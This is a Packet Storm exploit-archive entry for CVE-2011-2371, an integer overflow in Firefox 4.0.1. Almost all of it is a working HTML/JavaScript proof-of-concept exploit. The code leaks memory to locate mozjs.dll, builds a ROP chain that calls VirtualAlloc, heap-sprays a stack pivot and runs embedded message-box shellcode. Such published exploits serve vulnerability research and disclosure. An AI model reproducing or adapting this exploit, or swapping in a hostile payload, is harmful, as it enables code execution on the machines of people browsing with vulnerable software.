Mozilla Firefox 4.0.1 Integer Overflow

2012-02-27T00:00:00
ID PACKETSTORM:110247
Type packetstorm
Reporter pa_kt
Modified 2012-02-27T00:00:00

Description

                                        
                                            `<!--  
PoC exploit for CVE-2011-2371  
tested against Firefox 4.0.1  
md5 of mozjs.dll: 5d7ffcc9deb5bb08417ceae51d2afed4  
change constants to switch between w7/xp.  
see my blog if you want to know how this works.  
http://gdtr.wordpress.com/2012/02/22/exploiting-cve-2011-2371-without-non-aslr-modules/  
p_k  
twitter.com/pa_kt  
gdtr.wordpress.com  
-->  
<html>  
<script src="jspack.js"></script>  
<script>  
function hex(x){  
var y = x.toString(16);  
y = "0x"+y;  
return y;  
}  
function itoa(i)  
{  
return String.fromCharCode(i);  
}  
// n - length in bytes (1 unicode char = 2 bytes)  
function puff(x, n){  
while(x.length < n) x += x;  
return x.substring(0,n);  
}  
function arr2hex(tab){  
var s = "";  
for(var i in tab){  
x = tab[i];  
x = x.toString(16);  
if(x.length<2)  
x = "0"+x;  
s += x + " ";  
}  
return s;  
}  
function arr2ascii(tab){  
var s = ""  
for(var i in tab){  
x = tab[i];  
if(0x20 <= x && x<=0x7f){  
y = itoa(x);  
}  
else{  
y = ".";  
}  
s += y;  
}  
return s;  
}  
function xchg(d,i,j){  
t = d[i];  
d[i] = d[j];  
d[j] = t;  
}  
function bswap(d){  
xchg(d, 0, 3);  
xchg(d, 1, 2);  
}  
function nicer(tab){  
jsp = new JSPack();  
res = [];  
for(var i in tab){  
x = tab[i];  
t = jsp.Pack("d", [x]);  
d1 = t.slice(0, 4);  
d2 = t.slice(4, 8);  
bswap(d1);  
bswap(d2);  
t = [d1,d2];  
res = res.concat(t);  
}  
res = res.reverse();  
return res;  
}  
function dw2int(d){  
n = 0;  
for(var i=0;i<4;i++){  
n *= 256;  
n += d[3-i];  
}  
return n;  
}  
function convert(tab){  
o = s = v = "";  
for(var i in tab){  
d = tab[i];  
s += arr2hex(d);  
v += arr2ascii(d);  
if((parseInt(i)+1)%4==0){  
o += s + " | " + v + "\n";  
s = "";  
v = "";  
}  
}  
return o;  
}  
function check_pair(d1, d2){  
var n1 = dw2int(d1);  
var n2 = dw2int(d2);  
if(n2-n1 == 0x304)  
return true;  
return false;  
}  
function find_mozjs_base(tab){  
var n1 = 0;  
for(var i=0;i<tab.length-4;i++){  
d1 = tab[i];  
d2 = tab[i+1];  
if(check_pair(d1,d2)){  
n1 = dw2int(d1);  
n1 = n1 - 0x3cac; //n1 = mozjs .data  
n1 = n1 - 0x1B2000; //n1 = mozjs base  
break;  
}  
}  
return n1;  
}  
function d2u(dword){  
var uni = String.fromCharCode(dword & 0xFFFF);  
uni += String.fromCharCode(dword>>16);  
return uni;  
}  
function odd_d2u(d1, d2){  
uni = String.fromCharCode((d1&0xFF)<<8);  
uni += String.fromCharCode((d1>>8)&0xFFFF);  
uni += String.fromCharCode((d1>>24)+((d2 & 0xFF)<<8)); //1+1<<8 == 512 in JS T_T  
uni += String.fromCharCode((d2>>8)&0xFFFF);  
uni += String.fromCharCode(d2>>24);  
return uni;  
}  
// generated with mona.py  
function rop_chain(mozjs_base){  
var arr = [  
mozjs_base + 0x000c96e6, // POP EAX // RETN [mozjs.dll]  
mozjs_base + 0x0015d054, // ptr to &VirtualAlloc() [IAT mozjs.dll]  
mozjs_base + 0x00028510, // MOV EAX,DWORD PTR DS:[EAX] // RETN [mozjs.dll]  
mozjs_base + 0x0014293c, // XCHG EAX,ESI // RETN [mozjs.dll]  
mozjs_base + 0x0014d00d, // POP EBP // RETN [mozjs.dll]  
mozjs_base + 0x000d7ee2, // & push esp // ret 04 [mozjs.dll]  
mozjs_base + 0x000be327, // POP EBX // RETN [mozjs.dll]  
0x00000001, // 0x00000001-> ebx  
mozjs_base + 0x0004f422, // POP EDX // RETN [mozjs.dll]  
0x00001000, // 0x00001000-> edx  
mozjs_base + 0x000b1421, // POP ECX // RETN [mozjs.dll]  
0x00000040, // 0x00000040-> ecx  
mozjs_base + 0x000062e3, // POP EDI // RETN [mozjs.dll]  
mozjs_base + 0x0000f005, // RETN (ROP NOP) [mozjs.dll]  
mozjs_base + 0x000652f0, // POP EAX // RETN [mozjs.dll]  
0x90909090, // nop  
mozjs_base + 0x001372bd // PUSHAD // RETN [mozjs.dll]  
];  
return arr;  
}  
function tab2uni(tab){  
var uni = ""  
for(var i=0;i<tab.length;i++){  
uni += d2u(tab[i]);  
}  
return uni;  
}  
function spray(mozjs_base, h1_s, hsize) {  
function rva2va(addr) { return addr+mozjs_base; }  
function rva2d(addr) { return d2u(rva2va(addr)); }  
var align = 0x100000;  
var tab_offset = 0x1000;  
var TYPE_OBJECT = "%u0007%uffff";  
var pivot_rva = 0x1a21c; // 0x68e7a21c : # ADD EBP,EBX # PUSH DS # POP EDI # POP ESI # POP EBX # MOV ESP,EBP # POP EBP # RETN  
var mov_esp_ebp_rva = 0x1a222; // mov esp, ebp # pop ebp # ret  
var h2_s = h1_s + hsize;  
var h2_middle = (h2_s + hsize/2) & (~(align-1)); //align  
//mov eax,dword ptr [edi+64h] ;edi=[h2_ptr+4], later: call eax  
var h2_ptr = h2_middle + tab_offset;  
var off1 = h2_ptr;  
var off2 = h2_ptr-0x64;  
var v1 = d2u(off1);  
var h1_fill = unescape(v1+TYPE_OBJECT);  
var foo = puff(h1_fill, 0x4000);  
var h1_spray = foo.substring(0,(0x4000/2)-2);  
var pivot_va = rva2va(pivot_rva);  
pivot_va = d2u(pivot_va);  
off2 = d2u(off2);  
var new_ebp = h2_ptr+18;  
var mov_esp_ebp_va = rva2va(mov_esp_ebp_rva);  
var set_esp = odd_d2u(new_ebp, mov_esp_ebp_va);  
var rop = tab2uni(rop_chain(mozjs_base));  
//shellcode by skylined  
var msgbox_shellcode = "%uf631%u6456%u768b%u8b30%u0c76%u768b%u8b1c%u086e%u368b%u5d8b%u8b3c%u1d5c%u0178%u8beb%u184b%ue367%u8bec%u207b%uef01%u7c8b%ufc8f%uef01%uc031%u3299%u6617%ucac1%uae01%uf775%u8166%u2afa%u74b6%u6609%ufa81%u1aaa%udbe0%uc575%u538b%u0124%u0fea%u14b7%u8b4a%u1c7b%uef01%u2c03%u8597%u74f6%u6812%u3233%u2020%u7568%u6573%u5472%ud5ff%u3195%uebf6%u56a3%u3168%u0021%u6800%u322d%u3733%u3268%u3130%u6831%u7663%u2d65%u8754%u2404%u5050%uff56%uccd5";  
var x = unescape(pivot_va+off2+set_esp+"%u1111%u2222"+rop+msgbox_shellcode);  
x = puff(x, 0x4000);  
var h2_spray = x.substring(0,(0x4000/2)-2);  
var spray_tab = new Array();  
for (i=0;i<0x1000;i++){  
spray_tab[i] = h1_spray+"1";  
spray_tab[i].indexOf("zzz");  
}  
for (i=0x1000;i<0x2000;i++){  
spray_tab[i] = h2_spray+"2";  
spray_tab[i].indexOf("zzz");  
}  
}  
var exploit_func =  
function bleh(prev, current, index, array) {  
//boom = typeof current;  
current[4] = 1; // add ebp, ebx, where ebx=2*4+1=9  
//throw "up";  
}  
function trigger(func, arr_len){  
xyz.length = arr_len;  
try{  
xyz.reduceRight(func,1,2,3);  
}  
catch(e){ }  
}  
function leak(){  
var CHUNK_SIZE = 0x1000;  
var leak_arr_len = 0xffffffff;  
mem = [];  
count = 0;  
var leak_func =  
function bleh(prev, current, index, array) {  
if(typeof current == "number"){  
mem.push(current);  
}  
count += 1;  
if(count>=CHUNK_SIZE/8){  
throw "lol";  
}  
}  
function dump_mem(leak_f, arr_len){  
var dump = document.getElementById("dump");  
var mozjs_base = 0;  
for(var i=0;;i++){  
mem = [];  
count = 0;  
trigger(leak_f, arr_len);  
mem = nicer(mem);  
s = convert(mem);  
dump.innerHTML = s;  
//alert("leaked bytes: "+hex(mem.length*4));  
mozjs_base = find_mozjs_base(mem);  
//alert("mozjs base: "+hex(mozjs_base));  
if(mozjs_base != 0){  
break;  
}  
}  
return mozjs_base;  
}  
var base = dump_mem(leak_func, leak_arr_len);  
return base;  
}  
function go(){  
//var arr_ptr = 0x05000000; //(xp sp3)  
//var h1_s = 0x05b00000;  
//var h2_e = 0x0fb00000;  
var arr_ptr = 0x0b000000; //w7  
var h1_s = 0x0b500000;  
var h2_e = 0x16e00000;  
var size = h2_e-h1_s;  
var hsize = size/2;  
var h1_middle = h1_s+hsize/2;  
var exp_arr_len = (h1_middle - arr_ptr)/8 + 0x80000000;  
var mozjs_base = leak();  
spray(mozjs_base, h1_s, hsize);  
alert("ready");  
while(1){  
trigger(exploit_func, exp_arr_len);  
exp_arr_len -= 0x500;  
}  
}  
// globals  
var xyz = new Array();  
</script>  
<body>  
<input type="button" value="go" onclick="go()" />  
<pre id="dump">  
</pre>  
</body>  
</html>  
  
`